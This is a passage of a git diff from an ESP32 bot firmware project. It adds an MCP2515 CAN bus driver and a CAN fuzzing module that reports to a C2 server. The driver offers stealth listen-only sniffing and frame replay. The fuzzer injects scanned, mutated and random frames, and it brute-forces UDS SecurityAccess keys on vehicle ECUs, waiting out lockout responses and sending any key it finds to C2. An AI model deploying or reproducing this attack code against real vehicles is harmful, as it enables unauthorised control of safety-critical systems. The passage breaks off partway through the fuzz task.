.mosi_io_num = CONFIG_CANBUS_PIN_MOSI,
|
||||
.miso_io_num = CONFIG_CANBUS_PIN_MISO,
|
||||
.sclk_io_num = CONFIG_CANBUS_PIN_SCK,
|
||||
.quadwp_io_num = -1,
|
||||
.quadhd_io_num = -1,
|
||||
.max_transfer_sz = 32,
|
||||
};
|
||||
|
||||
esp_err_t ret = spi_bus_initialize(CONFIG_CANBUS_SPI_HOST, &bus_cfg, SPI_DMA_DISABLED);
|
||||
if (ret != ESP_OK) {
|
||||
ESP_LOGE(TAG, "SPI bus init failed: %s", esp_err_to_name(ret));
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Add MCP2515 as SPI device */
|
||||
spi_device_interface_config_t dev_cfg = {
|
||||
.mode = 0, /* SPI mode 0 (CPOL=0, CPHA=0) */
|
||||
.clock_speed_hz = CONFIG_CANBUS_SPI_CLOCK_HZ,
|
||||
.spics_io_num = CONFIG_CANBUS_PIN_CS,
|
||||
.queue_size = 4,
|
||||
};
|
||||
|
||||
ret = spi_bus_add_device(CONFIG_CANBUS_SPI_HOST, &dev_cfg, &s_spi);
|
||||
if (ret != ESP_OK) {
|
||||
ESP_LOGE(TAG, "SPI device add failed: %s", esp_err_to_name(ret));
|
||||
spi_bus_free(CONFIG_CANBUS_SPI_HOST);
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Reset MCP2515 (enters CONFIG mode automatically) */
|
||||
mcp_reset();
|
||||
|
||||
/* Verify we can read CANSTAT — should be in CONFIG mode (0x80) */
|
||||
uint8_t stat = mcp_read_reg(MCP_CANSTAT);
|
||||
if ((stat & 0xE0) != MCP_MODE_CONFIG) {
|
||||
ESP_LOGE(TAG, "MCP2515 not responding (CANSTAT=0x%02X)", stat);
|
||||
spi_bus_remove_device(s_spi);
|
||||
spi_bus_free(CONFIG_CANBUS_SPI_HOST);
|
||||
s_spi = NULL;
|
||||
return false;
|
||||
}
|
||||
|
||||
ESP_LOGI(TAG, "MCP2515 detected (CANSTAT=0x%02X)", stat);
|
||||
|
||||
/* Set bit timing */
|
||||
mcp_write_reg(MCP_CNF1, timing->cnf1);
|
||||
mcp_write_reg(MCP_CNF2, timing->cnf2);
|
||||
mcp_write_reg(MCP_CNF3, timing->cnf3);
|
||||
|
||||
/* Enable interrupts: RX0, RX1, Error */
|
||||
mcp_write_reg(MCP_CANINTE, MCP_RX0IE | MCP_RX1IE | MCP_ERRIE);
|
||||
|
||||
/* Clear all interrupt flags */
|
||||
mcp_write_reg(MCP_CANINTF, 0x00);
|
||||
|
||||
/* RXB0CTRL: rollover to RXB1 if RXB0 full, receive all valid messages */
|
||||
mcp_write_reg(MCP_RXB0CTRL, 0x64); /* BUKT=1, RXM=11 (turn mask/filter off) */
|
||||
mcp_write_reg(MCP_RXB1CTRL, 0x60); /* RXM=11 (turn mask/filter off) */
|
||||
|
||||
/* Create semaphores */
|
||||
s_int_sem = xSemaphoreCreateBinary();
|
||||
s_tx_mutex = xSemaphoreCreateMutex();
|
||||
|
||||
/* Reset counters */
|
||||
s_rx_count = 0;
|
||||
s_tx_count = 0;
|
||||
s_bus_errors = 0;
|
||||
s_rx_overflow = 0;
|
||||
s_bus_off = false;
|
||||
s_err_passive = false;
|
||||
|
||||
/* Configure INT pin as input with pull-up, falling edge interrupt */
|
||||
gpio_config_t io_cfg = {
|
||||
.pin_bit_mask = (1ULL << CONFIG_CANBUS_PIN_INT),
|
||||
.mode = GPIO_MODE_INPUT,
|
||||
.pull_up_en = GPIO_PULLUP_ENABLE,
|
||||
.pull_down_en = GPIO_PULLDOWN_DISABLE,
|
||||
.intr_type = GPIO_INTR_NEGEDGE,
|
||||
};
|
||||
gpio_config(&io_cfg);
|
||||
gpio_install_isr_service(0);
|
||||
gpio_isr_handler_add(CONFIG_CANBUS_PIN_INT, gpio_isr_handler, NULL);
|
||||
|
||||
ESP_LOGI(TAG, "Initialized: %d bps, %u MHz osc, SPI@%d Hz",
|
||||
bitrate, osc_mhz, CONFIG_CANBUS_SPI_CLOCK_HZ);
|
||||
return true;
|
||||
}
|
||||
|
||||
bool can_driver_start(can_mode_t mode)
|
||||
{
|
||||
if (!s_spi) {
|
||||
ESP_LOGE(TAG, "Not initialized");
|
||||
return false;
|
||||
}
|
||||
if (s_running) {
|
||||
ESP_LOGW(TAG, "Already running");
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Map mode enum to MCP2515 mode register value */
|
||||
uint8_t mcp_mode;
|
||||
const char *mode_str;
|
||||
switch (mode) {
|
||||
case CAN_MODE_LISTEN_ONLY:
|
||||
mcp_mode = MCP_MODE_LISTEN;
|
||||
mode_str = "listen-only";
|
||||
break;
|
||||
case CAN_MODE_LOOPBACK:
|
||||
mcp_mode = MCP_MODE_LOOPBACK;
|
||||
mode_str = "loopback";
|
||||
break;
|
||||
default:
|
||||
mcp_mode = MCP_MODE_NORMAL;
|
||||
mode_str = "normal";
|
||||
break;
|
||||
}
|
||||
|
||||
/* Set operational mode */
|
||||
mcp_set_mode(mcp_mode);
|
||||
|
||||
/* Verify mode */
|
||||
uint8_t stat = mcp_read_reg(MCP_CANSTAT);
|
||||
if ((stat & 0xE0) != mcp_mode) {
|
||||
ESP_LOGE(TAG, "Failed to enter %s mode (CANSTAT=0x%02X)", mode_str, stat);
|
||||
return false;
|
||||
}
|
||||
|
||||
s_running = true;
|
||||
|
||||
/* Start RX task on Core 1, priority 5 (above normal) */
|
||||
BaseType_t ret = xTaskCreatePinnedToCore(
|
||||
rx_task, "can_rx", 4096, NULL, 5, &s_rx_task, 1
|
||||
);
|
||||
if (ret != pdPASS) {
|
||||
ESP_LOGE(TAG, "Failed to create RX task");
|
||||
s_running = false;
|
||||
mcp_set_mode(MCP_MODE_CONFIG);
|
||||
return false;
|
||||
}
|
||||
|
||||
ESP_LOGI(TAG, "Started in %s mode", mode_str);
|
||||
return true;
|
||||
}
|
||||
|
||||
void can_driver_stop(void)
|
||||
{
|
||||
if (!s_running) return;
|
||||
|
||||
s_running = false;
|
||||
|
||||
/* Give semaphore to wake RX task so it exits */
|
||||
if (s_int_sem) xSemaphoreGive(s_int_sem);
|
||||
|
||||
/* Wait for RX task to die */
|
||||
for (int i = 0; i < 20 && s_rx_task != NULL; i++) {
|
||||
vTaskDelay(pdMS_TO_TICKS(50));
|
||||
}
|
||||
|
||||
/* Put MCP2515 back to CONFIG mode */
|
||||
if (s_spi) {
|
||||
mcp_set_mode(MCP_MODE_CONFIG);
|
||||
}
|
||||
|
||||
ESP_LOGI(TAG, "Stopped");
|
||||
}
|
||||
|
||||
void can_driver_deinit(void)
|
||||
{
|
||||
can_driver_stop();
|
||||
|
||||
/* Remove ISR */
|
||||
gpio_isr_handler_remove(CONFIG_CANBUS_PIN_INT);
|
||||
|
||||
/* Free SPI */
|
||||
if (s_spi) {
|
||||
spi_bus_remove_device(s_spi);
|
||||
spi_bus_free(CONFIG_CANBUS_SPI_HOST);
|
||||
s_spi = NULL;
|
||||
}
|
||||
|
||||
/* Free semaphores */
|
||||
if (s_int_sem) { vSemaphoreDelete(s_int_sem); s_int_sem = NULL; }
|
||||
if (s_tx_mutex) { vSemaphoreDelete(s_tx_mutex); s_tx_mutex = NULL; }
|
||||
|
||||
ESP_LOGI(TAG, "Deinitialized");
|
||||
}
|
||||
|
||||
bool can_driver_is_running(void)
|
||||
{
|
||||
return s_running;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Public API — TX / RX
|
||||
* ============================================================ */
|
||||
|
||||
bool can_driver_send(const can_frame_t *frame)
|
||||
{
|
||||
if (!s_running || !s_spi) return false;
|
||||
|
||||
xSemaphoreTake(s_tx_mutex, portMAX_DELAY);
|
||||
|
||||
/* Try to load into TX buffer, with retries for busy buffer */
|
||||
bool ok = false;
|
||||
for (int i = 0; i < 10; i++) {
|
||||
if (mcp_write_tx_buffer(frame)) {
|
||||
ok = true;
|
||||
break;
|
||||
}
|
||||
vTaskDelay(pdMS_TO_TICKS(1));
|
||||
}
|
||||
|
||||
if (ok) {
|
||||
/* Wait for TX complete (TX0IF) or timeout */
|
||||
for (int i = 0; i < 100; i++) {
|
||||
uint8_t intf = mcp_read_reg(MCP_CANINTF);
|
||||
if (intf & MCP_TX0IF) {
|
||||
mcp_modify_reg(MCP_CANINTF, MCP_TX0IF, 0x00);
|
||||
s_tx_count++;
|
||||
break;
|
||||
}
|
||||
vTaskDelay(pdMS_TO_TICKS(1));
|
||||
}
|
||||
}
|
||||
|
||||
xSemaphoreGive(s_tx_mutex);
|
||||
return ok;
|
||||
}
|
||||
|
||||
void can_driver_set_rx_callback(can_rx_callback_t cb, void *ctx)
|
||||
{
|
||||
s_rx_cb = cb;
|
||||
s_rx_ctx = ctx;
|
||||
}
|
||||
|
||||
void can_driver_get_rx_callback(can_rx_callback_t *cb, void **ctx)
|
||||
{
|
||||
if (cb) *cb = s_rx_cb;
|
||||
if (ctx) *ctx = s_rx_ctx;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Public API — Hardware Filters
|
||||
* ============================================================ */
|
||||
|
||||
/* Filter register base addresses (SIDH of each filter) */
|
||||
static const uint8_t s_filter_addrs[6] = {
|
||||
MCP_RXF0SIDH, MCP_RXF1SIDH, MCP_RXF2SIDH,
|
||||
MCP_RXF3SIDH, MCP_RXF4SIDH, MCP_RXF5SIDH,
|
||||
};
|
||||
|
||||
static const uint8_t s_mask_addrs[2] = {
|
||||
MCP_RXM0SIDH, MCP_RXM1SIDH,
|
||||
};
|
||||
|
||||
/* Write ID to filter/mask register set (4 bytes: SIDH, SIDL, EID8, EID0) */
|
||||
static void write_id_regs(uint8_t base_addr, uint32_t id, bool extended)
|
||||
{
|
||||
uint8_t sidh, sidl, eid8, eid0;
|
||||
|
||||
if (extended) {
|
||||
sidh = (uint8_t)(id >> 21);
|
||||
sidl = (uint8_t)((id >> 13) & 0xE0) | 0x08 | (uint8_t)((id >> 16) & 0x03);
|
||||
eid8 = (uint8_t)(id >> 8);
|
||||
eid0 = (uint8_t)(id);
|
||||
} else {
|
||||
sidh = (uint8_t)(id >> 3);
|
||||
sidl = (uint8_t)((id & 0x07) << 5);
|
||||
eid8 = 0;
|
||||
eid0 = 0;
|
||||
}
|
||||
|
||||
mcp_write_reg(base_addr, sidh);
|
||||
mcp_write_reg(base_addr + 1, sidl);
|
||||
mcp_write_reg(base_addr + 2, eid8);
|
||||
mcp_write_reg(base_addr + 3, eid0);
|
||||
}
|
||||
|
||||
bool can_driver_set_filter(int idx, uint32_t id, bool extended)
|
||||
{
|
||||
if (!s_spi || idx < 0 || idx > 5) return false;
|
||||
|
||||
/* Filters can only be set in CONFIG mode */
|
||||
bool was_running = s_running;
|
||||
if (was_running) can_driver_stop();
|
||||
|
||||
mcp_set_mode(MCP_MODE_CONFIG);
|
||||
write_id_regs(s_filter_addrs[idx], id, extended);
|
||||
|
||||
/* Enable filtering on the relevant RX buffer */
|
||||
if (idx < 2) {
|
||||
mcp_write_reg(MCP_RXB0CTRL, 0x04); /* BUKT=1, RXM=00 (use filter) */
|
||||
} else {
|
||||
mcp_write_reg(MCP_RXB1CTRL, 0x00); /* RXM=00 (use filter) */
|
||||
}
|
||||
|
||||
if (was_running) can_driver_start(CAN_MODE_NORMAL);
|
||||
return true;
|
||||
}
|
||||
|
||||
bool can_driver_set_mask(int idx, uint32_t mask, bool extended)
|
||||
{
|
||||
if (!s_spi || idx < 0 || idx > 1) return false;
|
||||
|
||||
bool was_running = s_running;
|
||||
if (was_running) can_driver_stop();
|
||||
|
||||
mcp_set_mode(MCP_MODE_CONFIG);
|
||||
write_id_regs(s_mask_addrs[idx], mask, extended);
|
||||
|
||||
if (was_running) can_driver_start(CAN_MODE_NORMAL);
|
||||
return true;
|
||||
}
|
||||
|
||||
void can_driver_clear_filters(void)
|
||||
{
|
||||
if (!s_spi) return;
|
||||
|
||||
bool was_running = s_running;
|
||||
if (was_running) can_driver_stop();
|
||||
|
||||
mcp_set_mode(MCP_MODE_CONFIG);
|
||||
|
||||
/* Set masks to 0 (match anything) */
|
||||
for (int i = 0; i < 2; i++) {
|
||||
write_id_regs(s_mask_addrs[i], 0, false);
|
||||
}
|
||||
|
||||
/* RXM=11 → turn off mask/filter, receive all */
|
||||
mcp_write_reg(MCP_RXB0CTRL, 0x64);
|
||||
mcp_write_reg(MCP_RXB1CTRL, 0x60);
|
||||
|
||||
if (was_running) can_driver_start(CAN_MODE_NORMAL);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Public API — Status
|
||||
* ============================================================ */
|
||||
|
||||
void can_driver_get_status(can_status_t *out)
|
||||
{
|
||||
memset(out, 0, sizeof(*out));
|
||||
|
||||
out->rx_count = s_rx_count;
|
||||
out->tx_count = s_tx_count;
|
||||
out->bus_errors = s_bus_errors;
|
||||
out->rx_overflow = s_rx_overflow;
|
||||
out->bus_off = s_bus_off;
|
||||
|
||||
if (s_spi) {
|
||||
out->tx_errors = mcp_read_reg(MCP_TEC);
|
||||
out->rx_errors = mcp_read_reg(MCP_REC);
|
||||
out->error_passive = (out->tx_errors > 127) || (out->rx_errors > 127);
|
||||
}
|
||||
|
||||
if (!s_spi) out->state = "not_initialized";
|
||||
else if (!s_running) out->state = "stopped";
|
||||
else if (out->bus_off) out->state = "bus_off";
|
||||
else if (out->error_passive) out->state = "error_passive";
|
||||
else out->state = "running";
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Public API — Replay
|
||||
* ============================================================ */
|
||||
|
||||
bool can_driver_replay(const can_frame_t *frames, int count, int speed_pct)
|
||||
{
|
||||
if (!s_running || !frames || count <= 0) return false;
|
||||
|
||||
ESP_LOGI(TAG, "Replaying %d frames at %d%% speed", count, speed_pct);
|
||||
|
||||
int64_t base_ts = frames[0].timestamp_us;
|
||||
|
||||
for (int i = 0; i < count && s_running; i++) {
|
||||
/* Wait for inter-frame delay */
|
||||
if (i > 0 && speed_pct > 0) {
|
||||
int64_t delta_us = frames[i].timestamp_us - frames[i - 1].timestamp_us;
|
||||
if (delta_us > 0) {
|
||||
int64_t wait_us = (delta_us * 100) / speed_pct;
|
||||
if (wait_us > 1000) {
|
||||
vTaskDelay(pdMS_TO_TICKS(wait_us / 1000));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
can_frame_t tx = frames[i];
|
||||
if (!can_driver_send(&tx)) {
|
||||
ESP_LOGW(TAG, "Replay: send failed at frame %d", i);
|
||||
}
|
||||
}
|
||||
|
||||
ESP_LOGI(TAG, "Replay complete (%d frames)", count);
|
||||
return true;
|
||||
}
|
||||
|
||||
#endif /* CONFIG_MODULE_CANBUS */
|
||||
117
espilon_bot/components/mod_canbus/canbus_driver.h
Normal file
117
espilon_bot/components/mod_canbus/canbus_driver.h
Normal file
@ -0,0 +1,117 @@
|
||||
/*
|
||||
* canbus_driver.h
|
||||
* MCP2515 CAN controller driver via SPI.
|
||||
* Abstracts all hardware details — upper layers see only can_frame_t.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
/* ============================================================
|
||||
* CAN Frame
|
||||
* ============================================================ */
|
||||
|
||||
typedef struct {
|
||||
uint32_t id; /* Arbitration ID (11 or 29 bit) */
|
||||
uint8_t dlc; /* Data Length Code (0-8) */
|
||||
uint8_t data[8]; /* Payload */
|
||||
bool extended; /* Extended (29-bit) ID */
|
||||
bool rtr; /* Remote Transmission Request */
|
||||
int64_t timestamp_us; /* Microsecond timestamp (esp_timer_get_time) */
|
||||
} can_frame_t;
|
||||
|
||||
/* ============================================================
|
||||
* Operating Modes
|
||||
* ============================================================ */
|
||||
|
||||
typedef enum {
|
||||
CAN_MODE_NORMAL, /* Full TX/RX participation on bus */
|
||||
CAN_MODE_LISTEN_ONLY, /* RX only, no ACK (stealth sniff) */
|
||||
CAN_MODE_LOOPBACK, /* Self-test, TX frames loop back to RX */
|
||||
} can_mode_t;
|
||||
|
||||
/* ============================================================
|
||||
* RX Callback
|
||||
* ============================================================ */
|
||||
|
||||
/* Called from RX task context (not ISR) — safe to call msg_data() etc. */
|
||||
typedef void (*can_rx_callback_t)(const can_frame_t *frame, void *ctx);
|
||||
|
||||
/* ============================================================
|
||||
* Driver Lifecycle
|
||||
* ============================================================ */
|
||||
|
||||
/* Init SPI bus + MCP2515 reset + bit timing config */
|
||||
bool can_driver_init(int bitrate, uint8_t osc_mhz);
|
||||
|
||||
/* Set MCP2515 to operational mode, start RX task */
|
||||
bool can_driver_start(can_mode_t mode);
|
||||
|
||||
/* Set MCP2515 to config mode, kill RX task */
|
||||
void can_driver_stop(void);
|
||||
|
||||
/* Free SPI resources */
|
||||
void can_driver_deinit(void);
|
||||
|
||||
/* Check if driver is running */
|
||||
bool can_driver_is_running(void);
|
||||
|
||||
/* ============================================================
|
||||
* TX / RX
|
||||
* ============================================================ */
|
||||
|
||||
/* Send a single CAN frame (blocking until TX complete or timeout) */
|
||||
bool can_driver_send(const can_frame_t *frame);
|
||||
|
||||
/* Register callback for received frames */
|
||||
void can_driver_set_rx_callback(can_rx_callback_t cb, void *ctx);
|
||||
|
||||
/* Retrieve the currently installed RX callback */
|
||||
void can_driver_get_rx_callback(can_rx_callback_t *cb, void **ctx);
|
||||
|
||||
/* ============================================================
|
||||
* Hardware Filters (MCP2515 acceptance masks + filters)
|
||||
* ============================================================ */
|
||||
|
||||
/* Set one of 6 acceptance filters (0-5). Filters 0-1 use mask 0, filters 2-5 use mask 1. */
|
||||
bool can_driver_set_filter(int filter_idx, uint32_t id, bool extended);
|
||||
|
||||
/* Set one of 2 acceptance masks (0-1) */
|
||||
bool can_driver_set_mask(int mask_idx, uint32_t mask, bool extended);
|
||||
|
||||
/* Clear all filters — accept all frames */
|
||||
void can_driver_clear_filters(void);
|
||||
|
||||
/* ============================================================
|
||||
* Status / Diagnostics
|
||||
* ============================================================ */
|
||||
|
||||
typedef struct {
|
||||
uint32_t rx_count;
|
||||
uint32_t tx_count;
|
||||
uint32_t rx_errors; /* REC from MCP2515 */
|
||||
uint32_t tx_errors; /* TEC from MCP2515 */
|
||||
uint32_t bus_errors;
|
||||
uint32_t rx_overflow; /* RX buffer overflow count */
|
||||
bool bus_off; /* TEC > 255 */
|
||||
bool error_passive; /* TEC or REC > 127 */
|
||||
const char *state; /* "stopped"/"running"/"bus_off"/"error_passive" */
|
||||
} can_status_t;
|
||||
|
||||
void can_driver_get_status(can_status_t *out);
|
||||
|
||||
/* ============================================================
|
||||
* Replay
|
||||
* ============================================================ */
|
||||
|
||||
/* Replay recorded frames. speed_pct: 100=real-time, 0=max speed */
|
||||
bool can_driver_replay(const can_frame_t *frames, int count, int speed_pct);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
359
espilon_bot/components/mod_canbus/canbus_fuzz.c
Normal file
359
espilon_bot/components/mod_canbus/canbus_fuzz.c
Normal file
@ -0,0 +1,359 @@
|
||||
/*
|
||||
* canbus_fuzz.c
|
||||
* CAN bus fuzzing engine implementation.
|
||||
*
|
||||
* Runs as a FreeRTOS task on Core 1. Reports interesting responses to C2.
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
|
||||
#if defined(CONFIG_MODULE_CANBUS) && defined(CONFIG_CANBUS_FUZZ)
|
||||
|
||||
#include <string.h>
|
||||
#include "esp_log.h"
|
||||
#include "esp_random.h"
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
#include "freertos/semphr.h"
|
||||
|
||||
#include "canbus_fuzz.h"
|
||||
#include "canbus_driver.h"
|
||||
#include "utils.h"
|
||||
|
||||
#ifdef CONFIG_CANBUS_ISO_TP
|
||||
#include "canbus_isotp.h"
|
||||
#endif
|
||||
|
||||
#define TAG "CAN_FUZZ"
|
||||
|
||||
static volatile bool s_fuzz_running = false;
|
||||
static TaskHandle_t s_fuzz_task = NULL;
|
||||
static fuzz_config_t s_fuzz_cfg;
|
||||
static const char *s_fuzz_req_id = NULL;
|
||||
static uint32_t s_fuzz_count = 0;
|
||||
static uint32_t s_fuzz_responses = 0;
|
||||
static SemaphoreHandle_t s_fuzz_mutex = NULL;
|
||||
|
||||
/* ============================================================
|
||||
* Response detector callback
|
||||
* ============================================================ */
|
||||
|
||||
/* Temporary callback to detect responses during fuzzing */
|
||||
static can_rx_callback_t s_prev_cb = NULL;
|
||||
static void *s_prev_ctx = NULL;
|
||||
|
||||
static void fuzz_rx_callback(const can_frame_t *frame, void *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
|
||||
/* Count any response and report interesting ones */
|
||||
s_fuzz_responses++;
|
||||
|
||||
/* Report to C2 */
|
||||
char line[96];
|
||||
snprintf(line, sizeof(line), "FUZZ_RSP|%03lX|%u|",
|
||||
(unsigned long)frame->id, frame->dlc);
|
||||
size_t off = strlen(line);
|
||||
for (int i = 0; i < frame->dlc && off < sizeof(line) - 2; i++) {
|
||||
off += snprintf(line + off, sizeof(line) - off, "%02X", frame->data[i]);
|
||||
}
|
||||
msg_data(TAG, line, strlen(line), false, s_fuzz_req_id);
|
||||
|
||||
/* Chain to original callback */
|
||||
if (s_prev_cb) s_prev_cb(frame, s_prev_ctx);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Fuzz Modes
|
||||
* ============================================================ */
|
||||
|
||||
/* ID Scan: send fixed payload on every ID in range */
|
||||
static void fuzz_id_scan(void)
|
||||
{
|
||||
uint8_t data[8];
|
||||
memcpy(data, s_fuzz_cfg.seed_data, 8);
|
||||
uint8_t dlc = s_fuzz_cfg.seed_dlc > 0 ? s_fuzz_cfg.seed_dlc : 8;
|
||||
|
||||
for (uint32_t id = s_fuzz_cfg.id_start;
|
||||
id <= s_fuzz_cfg.id_end && s_fuzz_running;
|
||||
id++) {
|
||||
|
||||
can_frame_t frame = {
|
||||
.id = id,
|
||||
.dlc = dlc,
|
||||
.extended = (id > 0x7FF),
|
||||
.rtr = false,
|
||||
};
|
||||
memcpy(frame.data, data, 8);
|
||||
|
||||
can_driver_send(&frame);
|
||||
s_fuzz_count++;
|
||||
|
||||
if (s_fuzz_cfg.delay_ms > 0) {
|
||||
vTaskDelay(pdMS_TO_TICKS(s_fuzz_cfg.delay_ms));
|
||||
}
|
||||
|
||||
if (s_fuzz_cfg.max_iterations > 0 && s_fuzz_count >= (uint32_t)s_fuzz_cfg.max_iterations) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* Data Mutate: for a fixed ID, try all values for each byte */
|
||||
static void fuzz_data_mutate(void)
|
||||
{
|
||||
can_frame_t frame = {
|
||||
.id = s_fuzz_cfg.target_id,
|
||||
.dlc = s_fuzz_cfg.seed_dlc > 0 ? s_fuzz_cfg.seed_dlc : 8,
|
||||
.extended = (s_fuzz_cfg.target_id > 0x7FF),
|
||||
.rtr = false,
|
||||
};
|
||||
memcpy(frame.data, s_fuzz_cfg.seed_data, 8);
|
||||
|
||||
/* For each byte position, try all 256 values */
|
||||
for (int pos = 0; pos < frame.dlc && s_fuzz_running; pos++) {
|
||||
uint8_t original = frame.data[pos];
|
||||
|
||||
for (int val = 0; val < 256 && s_fuzz_running; val++) {
|
||||
frame.data[pos] = (uint8_t)val;
|
||||
can_driver_send(&frame);
|
||||
s_fuzz_count++;
|
||||
|
||||
if (s_fuzz_cfg.delay_ms > 0) {
|
||||
vTaskDelay(pdMS_TO_TICKS(s_fuzz_cfg.delay_ms));
|
||||
}
|
||||
|
||||
if (s_fuzz_cfg.max_iterations > 0 &&
|
||||
s_fuzz_count >= (uint32_t)s_fuzz_cfg.max_iterations) {
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
frame.data[pos] = original; /* Restore for next position */
|
||||
}
|
||||
}
|
||||
|
||||
/* Random: random ID + random data */
|
||||
static void fuzz_random(void)
|
||||
{
|
||||
int max_iter = s_fuzz_cfg.max_iterations > 0
|
||||
? s_fuzz_cfg.max_iterations
|
||||
: 10000;
|
||||
|
||||
for (int i = 0; i < max_iter && s_fuzz_running; i++) {
|
||||
uint32_t rand_val = esp_random();
|
||||
|
||||
can_frame_t frame = {
|
||||
.id = rand_val & 0x7FF, /* Standard ID range */
|
||||
.dlc = (uint8_t)((esp_random() % 8) + 1),
|
||||
.extended = false,
|
||||
.rtr = false,
|
||||
};
|
||||
|
||||
/* Fill with random data */
|
||||
uint32_t r1 = esp_random();
|
||||
uint32_t r2 = esp_random();
|
||||
memcpy(&frame.data[0], &r1, 4);
|
||||
memcpy(&frame.data[4], &r2, 4);
|
||||
|
||||
can_driver_send(&frame);
|
||||
s_fuzz_count++;
|
||||
|
||||
if (s_fuzz_cfg.delay_ms > 0) {
|
||||
vTaskDelay(pdMS_TO_TICKS(s_fuzz_cfg.delay_ms));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* UDS Auth: brute-force SecurityAccess key */
|
||||
static void fuzz_uds_auth(void)
|
||||
{
|
||||
#ifdef CONFIG_CANBUS_ISO_TP
|
||||
uint32_t tx_id = s_fuzz_cfg.target_id;
|
||||
uint32_t rx_id = tx_id + 0x08;
|
||||
int max_iter = s_fuzz_cfg.max_iterations > 0
|
||||
? s_fuzz_cfg.max_iterations
|
||||
: 65536;
|
||||
|
||||
ESP_LOGI(TAG, "UDS auth brute-force on TX=0x%03lX", (unsigned long)tx_id);
|
||||
|
||||
for (int attempt = 0; attempt < max_iter && s_fuzz_running; attempt++) {
|
||||
/* Step 1: Request seed (SecurityAccess level 0x01) */
|
||||
uint8_t seed_req[2] = { 0x27, 0x01 };
|
||||
uint8_t resp[32];
|
||||
size_t resp_len = 0;
|
||||
|
||||
isotp_status_t st = isotp_request(
|
||||
tx_id, rx_id, seed_req, 2,
|
||||
resp, sizeof(resp), &resp_len, 1000
|
||||
);
|
||||
|
||||
if (st != ISOTP_OK || resp_len < 2) {
|
||||
vTaskDelay(pdMS_TO_TICKS(100));
|
||||
continue;
|
||||
}
|
||||
|
||||
/* Check for exceededAttempts NRC (0x36) — back off */
|
||||
if (resp[0] == 0x7F && resp_len >= 3 && resp[2] == 0x36) {
|
||||
ESP_LOGW(TAG, "ExceededAttempts — waiting 10s");
|
||||
vTaskDelay(pdMS_TO_TICKS(10000));
|
||||
continue;
|
||||
}
|
||||
|
||||
/* Check for timeDelayNotExpired NRC (0x37) — back off */
|
||||
if (resp[0] == 0x7F && resp_len >= 3 && resp[2] == 0x37) {
|
||||
ESP_LOGW(TAG, "TimeDelayNotExpired — waiting 10s");
|
||||
vTaskDelay(pdMS_TO_TICKS(10000));
|
||||
continue;
|
||||
}
|
||||
|
||||
/* Positive seed response: 0x67, 0x01, seed bytes */
|
||||
if (resp[0] != 0x67 || resp[1] != 0x01) continue;
|
||||
|
||||
int seed_len = (int)resp_len - 2;
|
||||
if (seed_len <= 0 || seed_len > 8) continue;
|
||||
|
||||
/* Step 2: Try key (incremental or random based on iteration) */
|
||||
uint8_t key_req[10] = { 0x27, 0x02 };
|
||||
int key_len;
|
||||
|
||||
if (seed_len <= 2) {
|
||||
/* Short seed: try sequential */
|
||||
key_len = seed_len;
|
||||
key_req[2] = (uint8_t)(attempt >> 8);
|
||||
if (key_len > 1) key_req[3] = (uint8_t)(attempt & 0xFF);
|
||||
else key_req[2] = (uint8_t)(attempt & 0xFF);
|
||||
} else {
|
||||
/* Long seed: try random keys */
|
||||
key_len = seed_len;
|
||||
uint32_t r1 = esp_random();
|
||||
uint32_t r2 = esp_random();
|
||||
memcpy(&key_req[2], &r1, 4);
|
||||
if (key_len > 4) memcpy(&key_req[6], &r2, key_len - 4);
|
||||
}
|
||||
|
||||
resp_len = 0;
|
||||
st = isotp_request(
|
||||
tx_id, rx_id, key_req, 2 + key_len,
|
||||
resp, sizeof(resp), &resp_len, 1000
|
||||
);
|
||||
|
||||
s_fuzz_count++;
|
||||
|
||||
if (st == ISOTP_OK && resp_len >= 2 && resp[0] == 0x67) {
|
||||
/* SUCCESS! */
|
||||
char line[64];
|
||||
snprintf(line, sizeof(line), "FUZZ_UDS_KEY_FOUND|0x%03lX|",
|
||||
(unsigned long)tx_id);
|
||||
size_t off = strlen(line);
|
||||
for (int k = 0; k < key_len && off < sizeof(line) - 2; k++) {
|
||||
off += snprintf(line + off, sizeof(line) - off, "%02X", key_req[2 + k]);
|
||||
}
|
||||
msg_data(TAG, line, strlen(line), false, s_fuzz_req_id);
|
||||
ESP_LOGI(TAG, "Security key found!");
|
||||
s_fuzz_running = false;
|
||||
break;
|
||||
}
|
||||
|
||||
if (s_fuzz_cfg.delay_ms > 0) {
|
||||
vTaskDelay(pdMS_TO_TICKS(s_fuzz_cfg.delay_ms));
|
||||
}
|
||||
|
||||
/* Progress report every 100 attempts */
|
||||
if ((attempt % 100) == 99) {
|
||||
char progress[48];
|
||||
snprintf(progress, sizeof(progress), "FUZZ_UDS_PROGRESS|%d", attempt + 1);
|
||||
msg_data(TAG, progress, strlen(progress), false, s_fuzz_req_id);
|
||||
}
|
||||
}
|
||||
#else
|
||||
ESP_LOGE(TAG, "UDS auth fuzz requires CONFIG_CANBUS_ISO_TP");
|
||||
s_fuzz_running = false;
|
||||
#endif
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Fuzz Task
|
||||
* ============================================================ */
|
||||
|
||||
static void fuzz_task(void *arg)
|
||||
{
|
||||
(void)arg;
|
||||
|
||||
ESP_LOGI(TAG, "Fuzzing started: mode=%d", s_fuzz_cfg.mode);
|
||||
s_fuzz_count = 0;
|
||||
s_fuzz_responses = 0;
|
||||
|
||||
switch (s_fuzz_cfg.mode) {
|
||||
case FUZZ_MODE_ID_SCAN: fuzz_id_scan(); break;
|
||||
